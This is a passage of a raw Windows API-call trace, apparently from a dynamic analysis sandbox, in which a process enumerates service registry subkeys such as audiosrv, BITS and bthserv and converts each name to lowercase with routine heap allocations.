lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0228.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.660] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0228.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0228.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.660] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0228.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0228.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.660] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0228.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0228.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.661] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0228.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0228.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.661] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0228.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0228.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.661] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0228.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0228.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0228.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0228.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0228.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0228.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0228.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0228.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0228.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0228.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.663] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0228.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0228.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.663] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0228.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0228.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.663] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0228.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0228.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0228.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0228.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0228.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0228.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0228.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0228.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0228.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0228.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.665] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0228.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0228.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.665] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0228.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0228.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.665] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0228.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0228.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0228.666] RtlAllocateHeap (HeapHandle=0x2520000, 